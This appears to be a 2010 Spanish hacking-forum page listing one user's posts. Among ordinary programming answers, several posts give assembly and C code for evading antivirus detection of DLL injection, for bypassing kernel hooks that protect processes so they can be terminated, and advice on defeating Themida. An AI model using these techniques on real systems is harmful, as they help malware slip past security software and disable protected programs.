elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56
441  Programación / Programación C/C++ / Re: Interactuar en Web C++ en: 15 Mayo 2010, 22:45 pm
Citar
pero socket normal?...

Logicamente, toda aplicacion que obtiene datos de internet (navegadores, chats etc etc) hacen uso de sockets. no hay una api para cada caso en particular, existe el conjunto de funciones y tu las aplicas a tus necesidades. despues por ejemplo en este caso, es obligatorio leer el protocolo http.
442  Programación / ASM / Re: Ayuda Urgente? en: 15 Mayo 2010, 18:02 pm
hay muchos manuales para quitar themida, pero puedes perfectamente hacerte un loader que es menos confuso. explica que es lo que quieres hacer.
443  Programación / ASM / Re: Ayuda Urgente? en: 15 Mayo 2010, 17:34 pm
si.
444  Seguridad Informática / Análisis y Diseño de Malware / inyeccion dll "sin" CreateRemoteThread. en: 15 Mayo 2010, 07:20 am
El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.

Código:
format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
        user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
     push 0
     push 0
     push 0
     push InjectaDll
     push 0
     push 0
     call [CreateThread]
     push 6h            ;Esto es solo para la prueba.
     call [Sleep]
     push 0
     call [ExitProcess]


proc InjectaDll
     push edi
     mov eax,0E8h
     mov edi,dword [CreateThread]
S:
     repne scasb
     jnz S
     dec edi
     mov [cPtr],edi
     pop edi
     push 3532      ;Process Id
     push 1
     push PROCESS_ALL_ACCESS
     call [OpenProcess]
     or eax,eax
     jz Fin
     push 0
     push 0
     push 0
     push 41414141h
     push 0
     push 0
     push eax
     jmp [cPtr]  ;CreateRemoteThread
Fin:
     ; En caso de error
endp

445  Foros Generales / Foro Libre / Re: Novedades en el sexo actual en: 14 Mayo 2010, 04:12 am
Constance CONTROLA LOS PUNTOS
446  Seguridad Informática / Análisis y Diseño de Malware / Re: Articulo interesante, saltarse hooks de la sdt. en: 13 Mayo 2010, 00:51 am
por ejemplo yo lo hago de este modo, hago un bucle y dentro de el intento obtener un manejador con NtOpenProcess:

Código:
    while(!Fin)
    {
     uno.UniqueProcess=(DWORD*)1234;
     NtOpenProcess(&hProc,PROCESS_ALL_ACCESS,&nn,&uno);
     if (hProc!=0)
     {
      printf("OpenProcess OK %X -> Presiona enter para cerrar el proceso.",hProc);
      getchar();
      TerminateProcess(hProc,0);
      Fin=1;
     }

antes de entrar en el while he creado un thread que cambia el pid por el del proceso real que se quiere abrir, en el while abrimos el proceso inexistente con pid 1234. en el otro thread cambio el pid por el que realmente se quiere abrir del mismo modo hasta que Fin es 1 que solo se cumple cuando ya tenemos el manejador del proceso, y el hook a sido burlado. es una forma un poco burra de hacerlo, pero es al instante, asi que es valida.

Como prueba intenta cerrar un proceso que use este metodo desde el taskmgr y veras que te dice acceso denegado, despues usa el ejemplo que puse arriba y veras que es cuestion de segundos.
447  Programación / Programación C/C++ / Re: Mapeao de archivos C++ en: 12 Mayo 2010, 23:34 pm
repasate los punteros.

ptr = View, para eso directamente declara View por ejemplo void *View  ahi tienes siempre tu base.
448  Sistemas Operativos / GNU/Linux / Re: Instalar .bin en: 12 Mayo 2010, 22:45 pm
desde consola ./archivo.bin tiene que tener permisos de ejecucion.
449  Seguridad Informática / Análisis y Diseño de Malware / Re: Articulo interesante, saltarse hooks de la sdt. en: 12 Mayo 2010, 19:26 pm
asi es. aqui dejo un pequeño ejemplo basandome en ese articulo de como burlar la proteccion de un software en modo kernel desde modo usuario http://www.sendspace.com/file/hyt16d

Solo hay que escribir el process id del proceso a testear, este tiene que estar bloqueando OpenProcess desde el kernel.
450  Seguridad Informática / Análisis y Diseño de Malware / Re: Articulo interesante, saltarse hooks de la sdt. en: 12 Mayo 2010, 15:28 pm
no claro que no, pero yo personalmente para ese uso no lo conocia. es super sencillo y efectivo ;).
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines